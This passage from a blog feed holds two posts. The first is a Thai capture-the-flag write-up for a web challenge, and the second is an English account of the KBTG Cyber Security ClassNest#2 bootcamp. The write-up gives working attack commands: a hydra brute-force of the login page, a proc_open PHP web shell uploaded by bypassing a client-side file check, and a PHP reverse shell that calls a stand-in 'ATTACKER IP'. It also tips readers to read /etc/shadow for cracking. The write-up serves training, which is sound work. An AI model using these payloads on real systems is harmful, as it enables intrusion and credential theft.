src="https://cdn-images-1.medium.com/max/1024/1*qM6HuZgNuCmgsQTVnkk9SQ.png" /></figure><p>โจทย์ข้อนี้เมื่อเราเข้ามาที่หน้าเว็บ เราจะพบว่าข้อความ Nothing Here เหมือนว่าจะต้อง Enumeration แน่นอนเลยครับ555 โดยผมจะใช้ dirsearch เหมือนเดิมครับ</p><pre>dirsearch -u https://steelblue-lobster-423405.hostingersite.com// -e php,html,js,bak,backup,old -x 301,403,404 --recursive</pre><p>จากการใช้ dirsearch เราพบว่ามี path ดังนี้</p><ul><li>/admin/login.php สามารถเข้าได้เลย</li><li>/admin/upload.php (เราต้อง Login ในหน้า /admin/login.php ให้ได้ก่อน)</li><li>/robots.txt</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rbi0L372QwI0JF4FGicVRA.png" /></figure><ol><li>หน้า robots.txt ยังไม่มีน่าสนใจอะไรครับ</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XNJWhSXJgeIDwsogcVSOrA.png" /></figure><p>2. หน้า /admin/login.php ดูเหมือนจะต้อง Login ก่อน แต่เรายังไม่มี Username และ Password เลย และจากการที่เรา Enumeration files และ directories แล้วไม่พบหน้าอื่น ๆ และ View Page Source เพื่ออ่าน Code ของหน้าเว็บ ที่จะให้ข้อมูลเราเพิ่มเติมได้สิ่งที่เป็นไปได้ คือ เราอาจจะต้อง Brute Force หรือทำการ Bypass เพื่อ Login ครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yx8falHC9C6GpQsKo72YJQ.png" /></figure><p>จากการ Enumeration ทำให้เราเจอ /admin/login.php โดยจากข้อมูลนี้ทำให้ผมคิดว่า Username อาจจะเป็น admin ก็ได้ครับ ส่วน Password น่าจะลอง Brute Force จาก Wordlist fasttrack.txt ครับ (<a href="https://github.com/drtychai/wordlists/blob/master/fasttrack.txt">https://github.com/drtychai/wordlists/blob/master/fasttrack.txt</a>) หรือข้อนี้อาจจะใช้ rockyou.txt (<a href="https://github.com/zacheller/rockyou">https://github.com/zacheller/rockyou</a>) ก่อนก็ได้นะครับ แต่ส่วนตัวผมจะใช้ fasttrack.txt ก่อน เพราะ rockyou.txt อาจจะมีขนาดใหญ่ไปทำให้ใช้เวลานานครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zvFFMsQ0UnDX9ajDLDDw7A.png" /></figure><p>เราจะใช้ hydra ในการ Brute Force หน้า Login ด้วย Username: admin ก็จะพบว่าเราเจอ Password นั่นเอง</p><pre>hydra -l admin -P /usr/share/wordlists/fasttrack.txt steelblue-lobster-423405.hostingersite.com https-post-form &quot;/admin/login.php:username=^USER^&amp;password=^PASS^:F=Invalid&quot;</pre><pre>hydra คือ เครื่องมือสำหรับทดสอบการยืนยันตัวตน (Authentication Testing) โดยการลองชุด Username และ Password จำนวนมากกับบริการหรือเว็บแอปพลิเคชัน<br><br>format: hydra [Options] [Target] [Service] &quot;[Path]:[Payload]:[Condition]&quot;<br><br><br>-l admin คือ กำหนด Username ที่ใช้ในการทดสอบ โดยในที่นี้ระบุเป็นค่าเดียวคือ admin<br><br>-P /usr/share/wordlists/fasttrack.txt คือ กำหนดไฟล์ wordlist ที่ใช้เป็นรายการ Password ให้ hydra ลองทีละค่า<br><br>steelblue-lobster-423405.hostingersite.com คือ ระบุ hostname หรือเป้าหมายของระบบที่ต้องการทดสอบ<br><br>https-post-form คือ ระบุชนิดของบริการที่ต้องการทดสอบ ซึ่งในกรณีนี้คือฟอร์ม Login ที่ส่งข้อมูลผ่าน HTTP POST บน HTTPS<br><br>&quot;/admin/login.php:username=^USER^&amp;password=^PASS^:F=Invalid&quot; คือ รูปแบบของฟอร์ม Login ที่ hydra จะใช้ในการส่ง request โดยแบ่งออกเป็นส่วนต่าง ๆ ดังนี้<br><br>/admin/login.php คือ path ของหน้า Login<br><br>username=^USER^&amp;password=^PASS^ คือพารามิเตอร์ที่ส่งไปใน POST request<br>โดย ^USER^ และ ^PASS^ จะถูกแทนค่าด้วย Username และ Password จากที่กำหนดไว้<br><br>F=Invalid คือเงื่อนไขที่ใช้บอก hydra ว่า หาก response มีข้อความคำว่า Invalid แสดงว่า Login ล้มเหลว<br>เมื่อไม่มีข้อความนี้ปรากฏใน response จะถือว่าเป็นค่าที่ Login สำเร็จ</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RlJbDrwWVRujIBUwZiDLYA.png" /></figure><p>นำ Password ที่ได้มา Login</p><pre>P@ssw0rd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4GZAdc9UwUDYzfp99naPoQ.png" /></figure><p>เมื่อเรา Login ได้ก็จะพบว่ามีหน้าให้ Upload File</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jrloj_RbLZSxLn9kupT9FA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V3OCO5t9Gue0W2lvUVDx9g.png" /></figure><p>เมื่อทำการอ่าน Source Code ของหน้าเว็บด้วย View Page Source ก็จะพบกับ script ของการ Upload File</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jjuY-HMufxJJ6TmAP4NCpg.png" /></figure><pre><br>&lt;script&gt;<br>// Client-side PDF check only (unchanged)<br>document.getElementById(&#39;uploadForm&#39;).addEventListener(&#39;submit&#39;, function (e) {<br>    const input = document.getElementById(&#39;file&#39;);<br>    if (!input.files.length) return;<br><br>    const file = input.files[0];<br>    if (!file.name.toLowerCase().endsWith(&#39;.pdf&#39;)) {<br>        e.preventDefault();<br>        alert(&#39;Only PDF files are allowed.&#39;);<br>        input.value = &#39;&#39;;<br>    }<br>});<br>&lt;/script&gt;</pre><p>โดย code ส่วนนี้เป็น การตรวจสอบชนิดไฟล์ฝั่ง client-side ด้วย JavaScript โดยเช็กแค่นามสกุลไฟล์ว่าเป็น .pdf หรือไม่ก่อนส่งฟอร์ม ซึ่งไม่ได้มีการตรวจสอบใด ๆ ในฝั่ง server-side เลย จาก code ข้างต้นทำให้เราสามารถที่จะ bypass ในการ upload malicious file ได้ โดยเราจะเริ่มจากการสร้าง file เพื่อดู phpinfo ก่อน</p><pre>echo &quot;&lt;?php phpinfo(); ?&gt;&quot; &gt; phpinfo.php.pdf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ipEo2-etWh1sn1mAFYOb3A.png" /></figure><p>หลังจากนั้นทำการ upload phpinfo.php.pdf และในขณะที่ upload นั้นให้ใช้ Burp Suite intercept request เพื่อที่เราจะแก้ไขข้อมูลก่อนที่จะถูกส่งไปฝั่ง Server-Side</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YfH57unAtAbRl4nFDbwkiw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D5VFaPzVRMfnlTO_C8rYsA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GUAxFmzCxACCXsuO0yvwEQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HLcR1KuXgW6eUMyk1_euWw.png" /></figure><p>ให้เราแก้ phpinfo.php.pdf เป็น phpinfo.php แทน หลังจากนั้นกด Forward</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zj5bUcL552mbDEJi8MIK1A.png" /></figure><p>จะเห็นได้ว่าเราสามารถ bypass upload php file ได้แล้ว</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l8M_bKx2LbkYb4MBg-kd_A.png" /></figure><p>เมื่อลองเปิดดูจะพบว่าสามารถอ่านตัว phpinfo ได้แล้ว</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mmGnm5DveZgBzzkTH5CSNQ.png" /></figure><p>เมื่อเราอ่านแถว disable_functions ในภาพ พบว่าฟังก์ชันรันคำสั่งมาตรฐานอย่าง system, exec, shell_exec และ passthru ถูกสั่งปิดการใช้งานทั้งหมดเพื่อป้องกัน Remote Code Execution (RCE) แต่จาก Functions ที่ถูก Blacklist เราไม่พบชื่อfunction proc_open รวมอยู่ด้วย ซึ่งเป็น function ที่สามารถเปิด process และจัดการท่อส่งข้อมูล (pipes) เพื่อสื่อสารกับระบบปฏิบัติการได้โดยตรง</p><pre>เพิ่มเติมสำหรับคนที่งงว่าควรเช็คอะไรบ้าง?<br><br>1. Execution Functions<br><br>    - system(): รันคำสั่งและแสดงผลทางหน้าจอทันที (ใช้ง่ายที่สุด)<br><br>    - exec(): รันคำสั่งแต่คืนค่าเฉพาะบรรทัดสุดท้าย<br><br>    - shell_exec(): รันคำสั่งและคืนค่าทั้งหมดเป็นข้อความ (รวมถึงการใช้เครื่องหมาย backticks `cmd`)<br><br>    - passthru(): รันคำสั่งและส่งผลลัพธ์แบบดิบ (เหมาะกับการดึงข้อมูลที่เป็นไฟล์)<br><br>2. Process Management Functions<br><br>    - proc_open(): เปิดกระบวนการและจัดการท่อส่งข้อมูล (stdin/stdout/stderr)<br><br>    - popen(): เปิดท่อเชื่อมต่อคำสั่งเพื่ออ่านหรือเขียนข้อมูล (คล้ายการเปิดไฟล์)<br><br>    - pcntl_exec(): ใช้รันคำสั่งระบบโดยแทนที่โปรเซสปัจจุบัน (ต้องมี Module pcntl ใน phpinfo)<br><br>3. Bypass Specialized &amp; Advanced (ถ้ากลุ่มหลักโดนปิดหมด ให้เช็ค Extension หรือ Functions พวกนี้แทนได้ครับ)<br><br>    - FFI::cdef: การเรียกใช้ C Library ตรงๆ (เช่น เรียก system จาก libc) มักจะข้ามการตรวจสอบของ PHP ได้<br><br>    - mb_send_mail() หรือ mail(): ในระบบ Linux บางเวอร์ชันสามารถใช้ส่งพารามิเตอร์เพื่อเขียนไฟล์หรือรันคำสั่งผ่านตัวส่งเมล์ (sendmail)<br><br>    - dl(): ใช้สำหรับโหลด PHP Extension เพิ่มเติมเข้ามาในขณะที่รัน (มักถูกปิดในเวอร์ชันใหม่ๆ)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Hx49Y2v3r7RF1cbEt2yRQ.png" /></figure><p>จาก phpinfo.php เรารู้แล้วว่าเราสามารถสร้าง shell โดยใช้ function proc_open เพื่อทำ Remote Code Execution (RCE) ได้ ต่อไปเราจะมาสร้าง shellrce.php.pdf กันครับ (ในส่วนนี้เราสามารถบอก Agent AI ให้สร้าง shell ให้แทนก็ได้ครับ ถ้าเกิด craft เองไม่เป็นหรือไม่อยากเสียเวลาตอนที่กำลังแข่ง)</p><pre>echo &quot;&lt;?php \$c=\$_REQUEST[&#39;cmd&#39;];\$d=[0=&gt;[&#39;pipe&#39;,&#39;r&#39;],1=&gt;[&#39;pipe&#39;,&#39;w&#39;],2=&gt;[&#39;pipe&#39;,&#39;w&#39;]];\$p=proc_open(\$c,\$d,\$s);if(is_resource(\$p)){echo &#39;&lt;pre&gt;&#39;.stream_get_contents(\$s[1]).&#39;&lt;/pre&gt;&#39;;fclose(\$s[1]);proc_close(\$p);} ?&gt;&quot; &gt; shell.php.pdf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kvOMXHmO1WDFwZXZFEkbOQ.png" /></figure><p>จากนั้นนำไป upload และแก้ไขจาก shellrce.php.pdf เป็น shellrce.php เหมือนเดิมครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sTmWmwdDZ6ZBKwBz6tA_lA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VNjRpkeEfCSj32Do1uCJWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*78QYAmxO0tYLi2DQM6fINg.png" /></figure><p>โดยวิธีเรียกใช้ คือ เราจะใส่ ?cmd=command จาก url ที่ได้ครับ</p><pre>https://steelblue-lobster-423405.hostingersite.com/admin/uploads/71d89b15f0a7cefecad03aa25bb7c0e7.php?cmd=ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*626ba8RYJ5avDz46xN8NFQ.png" /></figure><p>หลังจากลอง Enumeration สักพักนึงเราก็จะพบกับ flag อยูที่ path /home/u926463062/domains/steelblue-lobster-423405.hostingersite.com/public_html/flag_RanD0m.txt ครับ</p><pre>https://steelblue-lobster-423405.hostingersite.com/admin/uploads/71d89b15f0a7cefecad03aa25bb7c0e7.php?cmd=cat%20/home/u926463062/domains/steelblue-lobster-423405.hostingersite.com/public_html/flag_RanD0m.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZNerZa9ngXoi0XOd5mqBPg.png" /></figure><pre>Tips<br><br>สำหรับผู้เริ่มต้น CTF เมื่อเข้าสู่เครื่องได้แล้วไม่รู้จะหา Flag ยังไงดี <br>สิ่งที่อยากลอง คือ การ Enumeration ตาม Paths เหล่านี้ก่อนครับ<br><br>- /<br>- /home/username ต่าง ๆ<br>- /etc/passwd (ดูว่ามี Users ชื่ออะไรบ้าง)<br>- /etc/shadow + /etc/passwd ถ้าสามารถอ่านทั้งคู่ได้ สามารถนำมา crack password ได้<br>- /tmp<br>- /root<br>- /var/www/html</pre><p>และอีกอย่างที่สำคัญเลย คือ โจทย์แต่ละข้อสามารถทำได้หลายวิธีครับ เช่น ข้อนี้เราสามารถทำ Reverse Shell แทน RCE ได้เช่นกันครับ ตัวอย่าง command คือ</p><pre>echo &quot;&lt;?php \$s=fsockopen(&#39;ATTACKER IP&#39;,ATTACKER PORT);proc_open(&#39;sh&#39;,[0=&gt;\$s,1=&gt;\$s,2=&gt;\$s],\$p); ?&gt;&quot; &gt; revshell.php.pdf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SBnPQFCGG64Pg73CtzYmUA.png" /></figure><p><strong>Takeaways</strong><br>โจทย์ข้อนี้เป็นโจทย์ที่รวมหลายแนวคิดสำคัญของ Web Exploitation ไว้ในข้อเดียวเลยครับ ตั้งแต่การทำ Enumeration เบื้องต้นด้วยการค้นหา file และ directory ที่ซ่อนอยู่, การ Brute Force หน้า Login, ไปจนถึงการวิเคราะห์กลไกการอัปโหลดไฟล์และการแยกความแตกต่างระหว่างการตรวจสอบฝั่ง client-side และ server-side ซึ่งเป็นจุดที่ผู้เริ่มต้นมักพลาดกันบ่อย โจทย์นี้ช่วยเราย้ำว่า การตรวจสอบฝั่ง client-side เพียงอย่างเดียวไม่สามารถป้องกันการโจมตีได้จริง และผู้โจมตีสามารถใช้เครื่องมืออย่าง Burp Suite เพื่อดัดแปลง request ได้</p><p>นอกจากนี้ยังเป็นการฝึกให้อ่าน phpinfo เพื่อประเมิน Environment ของระบบและมองหาทางเลือกอื่นในการทำ RCE เมื่อ Standard Function ถูกปิดใช้งาน สุดท้ายโจทย์นี้สอนให้ Enumeration อีกเช่นเดิม หลังจากได้ shell แล้ว เพราะ flag หรือข้อมูลสำคัญมักไม่ได้อยู่ใน path ที่ชัดเจน และการรู้โครงสร้างไฟล์พื้นฐานของระบบ Linux จะช่วยให้ค้นหาเป้าหมายได้เร็วและมีประสิทธิภาพมากขึ้น ซึ่งเป็นทักษะที่จำเป็นทั้งใน CTF และการทำ Web Pentest จริงครับ</p><p>สำหรับผมก็เป็นการกลับมาเขียน Public Writeup ในรอบ 3 ปีได้ครับ เหมือนจะเริ่มมีไฟอีกครั้งเลย5555 ก็จากที่ผมได้เล่น CTF มาตลอด ผมมั่นใจว่าโจทย์ CTF แต่ละข้อเป็นโจทย์ที่ดี อย่างน้อยก็ทำให้เราได้ทบทวนหรือพัฒนาความรู้ของตัวเองครับ บางข้อที่ดูง่ายผมก็ยังทำไม่ได้เลยด้วยซ้ำ อาจจะด้วยพื้นฐานที่เราคิดว่าทำได้แต่ก็อาจจะลืมได้เช่นเดียวกัน ส่วนข้อที่ยากก็อาจจะมีเพราะเรายังมีความรู้ไม่มากพอ ก็ขอให้บทความนี้เป็นกำลังใจให้กับผู้ที่พึ่งเริ่มต้นหรือกำลังหมดไฟนะครับ ขอบคุณครับผม</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/0*1941ajQdSQfZ1W3m.jpg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=986ca9a1c38f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[KBTG Cyber Security ClassNest#2]]></title>
            <link>https://medium.com/@manop55555/kbtg-cyber-security-classnest-2-3343c10c132f?source=rss-29e16bfdf251------2</link>
            <guid isPermaLink="false">https://medium.com/p/3343c10c132f</guid>
            <category><![CDATA[kbtg]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kbtg-kampus]]></category>
            <dc:creator><![CDATA[manop55555]]></dc:creator>
            <pubDate>Fri, 28 Feb 2025 14:57:45 GMT</pubDate>
            <atom:updated>2025-02-28T15:21:44.557Z</atom:updated>
            <content:encoded><![CDATA[<h4>KBTGBootcamp</h4><h4>Introduction</h4><p>KBTG Cyber Security ClassNest is a course designed to build a strong foundation and develop skills in Cyber Security, taught by experts from KBTG who share real-world experience and practical knowledge. The course covers cyber threat prevention, system security techniques, and best practices in the industry to help learners understand and protect against cyber risks. No prior knowledge is required, making it suitable for beginners.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YcQ5T9CUxUHkBh8y" /><figcaption><a href="https://kbtgkampus.tech/classnest-cybersecurity-bootcamp-2">https://kbtgkampus.tech/classnest-cybersecurity-bootcamp-2</a></figcaption></figure><h4>Program Journey</h4><p>The KBTG Cyber Security ClassNest#2 program is structured into three key phases: Planning &amp; Selection, Class &amp; Engagement Activities, and Intensive Workshop. Here’s a breakdown of the journey:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*tSodT6CbnxmFr4ucJbtY-Q.png" /></figure><h4>Registration Process</h4><ol><li>Register — Sign up for the program.</li><li>Pre-Test — You will receive a Google Forms link to assess your knowledge and skills, ensuring you meet the requirements. The results will be announced via email.</li><li>Payment — If you pass the test, you will proceed with the payment to confirm your enrollment.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*zp4cLC9NGvivxaEDdyLuaw.png" /><figcaption>If you pass the pre-test and complete the payment, you will receive an email that looks like this.</figcaption></figure><h4>Cyber Security ClassNest on Discord</h4><p>After completing the registration, you will be invited to join our Discord server to stay updated with important announcements and discussions. Additionally, participants will be assigned to groups for Group Assignments and Labs, allowing for collaborative learning and hands-on experience throughout the program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N4_7qqKywfAqwrhNj65HDg.png" /></figure><h4>Cyber Security ClassNest Orientation</h4><p>Before starting the Online Learning phase, there was an Orientation session to introduce us to the course. Unfortunately, I didn’t capture any photos from the actual event, but it was similar to what’s shown here. The session was held onsite at KBTG, where the coaches explained key cybersecurity concepts and conducted some small activities to engage participants. It was a great introduction to set the stage for the learning journey ahead!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xZWAOmpTjmD6oM2O.jpg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jnZcoH3SaXH7tWeYsl32Eg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GJvVvfSEl3He_o-qhrloRQ.jpeg" /><figcaption>P’Vanitas MVP</figcaption></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>Online Learning (200 Participants)</h3><h4>Program Calendar (Online Learning)</h4><p>The program consists of 8 weeks of online learning via SUT X-LANE, with a quiz at the end of each lesson. Additionally, there will be weekly assignments to reinforce understanding and enhance learning.<br>If participants have any questions or need further clarification, they can join the Coaching Session every Wednesday from 19:00 to 20:00. For those who cannot attend, KBTG will provide recorded sessions so they can catch up later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*dFn_cqyvPFLDuV5bU0WeJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*3q1-4E0K3N4aFfBPaINofw.png" /></figure><h4>Online Learning on SUT X-LANE</h4><p>The 8-week online learning via SUT X-LANE includes a detailed agenda for each lesson, PDF study materials, and a quiz at the end of each lesson to help participants reinforce their understanding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oQcrg6VaItdthnubh2pmSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e7SL_ZJyXKfqxvPNVCFQKA.png" /><figcaption>SUT X-LANE Website</figcaption></figure><h4>Online Learning (Assignment)</h4><p>For Online Learning Assignments, a Google Sheet will be provided for each week’s tasks. The coach will share the details via Discord.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*ONd7To1Y8NVHzjke-31NVA.png" /></figure><h4>Coaching Session</h4><p>If participants have any questions or need further clarification, they can join the Coaching Session every Wednesday from 19:00 to 20:00. For those who cannot attend, KBTG will provide recorded sessions so they can catch up later. These sessions also include discussions on real-world cybersecurity incidents, bringing in recent cases as examples. For instance, one session covered the CrowdStrike-related blue screen issue, allowing participants to analyze and understand current threats in the industry.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mR-cfWv2NIlPeshxQwu3hQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y3cYgcerDbY2A4JXNeZ_lw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ijwi9Opmc9Kwhv72vrwIng.png" /><figcaption>Example Coaching Session</figcaption></figure><h4>Assignment &amp; Lab</h4><p>In Week 6, we took on the role of a Pentester, responsible for testing a system provided by the coach in a VM file. Our task was to find 5 flags and submit a Pentest Report. It was a very engaging and enjoyable experience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*_F5Npd4VGyhcBOynHmXkWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*nn6BOSIrIOjn8rtKjsMa8Q.png" /><figcaption>Example Assignment</figcaption></figure><p>The coach was always available for guidance, and we could ask questions at any time. Some hints were quite challenging to interpret, but the teamwork within the group made the process much smoother.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wge902Ni3ybtbbteeRlFCg.png" /><figcaption>During Group Assignments, you can ask the coach for help — though you might clench your fists a bit while working!</figcaption></figure><h4>Post-Test</h4><p>After completing 8 weeks of learning, including Assignments, Labs, and Quizzes, participants will take the Post-Test. In my opinion, it was quite challenging since it required reviewing all the content from Week 1 to Week 8. However, this test carries a significant weight in the final score, so if you want to qualify for the Workshop, you really need to put in the effort.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*cxHUgP2c1ACHvnkmHNKJ8A.png" /><figcaption>Example Post-Test</figcaption></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>Workshop at KBTG (80 Participants)</h3><p>After completing 8 weeks of learning, including Assignments, Labs, Quizzes and Post-Test, during my school break (which didn’t feel like a break at all!), I was selected as one of the 80 participants for the Workshop at KBTG. I was really excited and proud to make it to this stage!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*ZHm2Xddsd9gMOi3eHqFgyw.png" /></figure><p>I joined Batch 2, which took place on February 22–23, 2025, from 09:00 to 18:00 at the KBTG Building (Muang Thong Thani).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*EnoQ5rII7jZtQqsBY-tW-A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*gJivM7u6yOShgvSf2kzpSg.png" /></figure><h3>Day 1 (Deployment Phase)</h3><h4>Workshop Agenda</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kUYqboYNYC-qjREp_BQspw.png" /></figure><h4>ICE Breaking</h4><p>In the morning, there were ICE Breaking activities, where we had to build LEGO structures based on given scenarios. Unexpected twists and challenges were added throughout the session, making it even more fun. Small rewards were also given to keep everyone engaged while helping team members get to know each other better.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*33YsgMckjKruOIIW" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VSKzozMqC9hSZoKw7JVblw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H2iTCAVi85XI7pm5qIMbIA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gE22RLaZFsjV0xW-_mk_tQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5lbiTbIoO71a5jfynLLZcw.jpeg" /></figure><h4>Workshop</h4><p>This phase was quite intense. We worked on real-world problem-solving just like in a corporate environment, focusing on Social Media Security as our main topic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q4SDgfAhyncnlQ_EvuxWMA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mdu8L7hKJI4vZJEwTXQ7HQ.jpeg" /></figure><p><strong>The tasks included:</strong></p><ul><li>Problem Analysis</li><li>Security Requirements</li><li>Risk Identification</li><li>Control Selection &amp; Re-Assessment</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ygeh-I6XddsK1aiykOWt2w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7xcVbH-NJm6is2KZPaSaFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B1q7gxKlOT035RiS3-0fGg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d2JxK5pIr2h5NDvz2eJOdg.png" /><figcaption>Example from my group presentation</figcaption></figure><p>At the end of the session, we presented our work to mentors, who provided valuable feedback and insights. Their suggestions helped us refine and improve our project for the next day.</p><h3>Day 2 (On Production Phase)</h3><p>On the second day, we continued from Day 1, where the simulated scenario advanced two years into the future after completing:</p><ul><li>Problem Analysis</li><li>Security Requirements</li><li>Risk Identification</li><li>Control Selection &amp; Re-Assessment</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YM0EXVJaDiwOWmL1dROx-w.png" /></figure><p>Now in the On Production Phase, our tasks focused on:</p><ul><li>Vulnerability Assessment</li><li>Cyber Attack and Incident Response</li><li>Handling unexpected scenarios that were introduced during the session.</li></ul><h4>Vulnerability Assessment</h4><p>In this phase, our group worked on analyzing various aspects such as Likelihood, Impact, Risk Rating, and other key factors. Even though we had a Pentest Report as a reference, we still had to analyze the findings and propose solutions. It was both challenging and exciting, requiring deep thinking and problem-solving. This part was definitely one of the most intense and brain-draining experiences of the workshop!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x-yN5WDUlsil6L0j-FV64A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dju6sSaYthoj3OyN4zOF4Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZjOs7hkU_VSClmmpwf1yGw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zIGNQVw-Vz4oOqpB1jWUGQ.png" /><figcaption>Example from my group presentation</figcaption></figure><h4>Cyber Attack and Incident Response</h4><p>Our team analyzed and responded to a DDoS (Distributed Denial-of-Service) attack scenario. We identified the root cause, assessed the impact, and developed a strategic response plan to mitigate the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4JsC4Or696EHg7BYtl9Rkg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IVCq5xHBp0cnqqUlmA12mQ.png" /><figcaption>Example from my group presentation</figcaption></figure><p>In the evening, we had to present our findings on vulnerabilities to a panel of four expert judges, receiving valuable feedback and insights.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O9h2wUz7JgVUGMvQzrML4Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7ewNVe9FFTi9tX45" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rk8Ikzghkjv1X7hrivtQmQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e5zvsOC1uIqkWxjHiQvnJg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yi8wIemV0xflvWTPGfZ_tg.jpeg" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>Conclusion</h3><p>I’d like to express my gratitude to my teammates, seniors, TAs, mentors and anyone who participate for their guidance and support throughout this journey — from the Online Learning phase to the hands-on Workshop. The experience has been incredibly valuable, filled with insightful lessons and engaging activities that expanded my knowledge significantly.</p><p>This workshop truly broadened my perspective on cybersecurity. Coming from a Pentesting background, I was mostly focused on one aspect of security, but this experience opened my eyes to the bigger picture, making me appreciate the various dimensions of cybersecurity even more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zkzzhke_R9UFRJNSCuCLlQ.jpeg" /></figure><blockquote>For anyone considering joining, I highly recommend planning your time and making sure you’re genuinely interested in cybersecurity. From my experience, the knowledge and skills gained are absolutely worth it!<br><strong>The finalists will have the opportunity to interview with KBTG.</strong></blockquote><p><em>Written by Manopakorn Koohareuangrong<br>LinkedIn: </em><a href="https://www.linkedin.com/in/manopakorn-kooharueangrong-6787b024a/">https://www.linkedin.com/in/manopakorn-kooharueangrong-6787b024a/</a><br>Facebook: <a 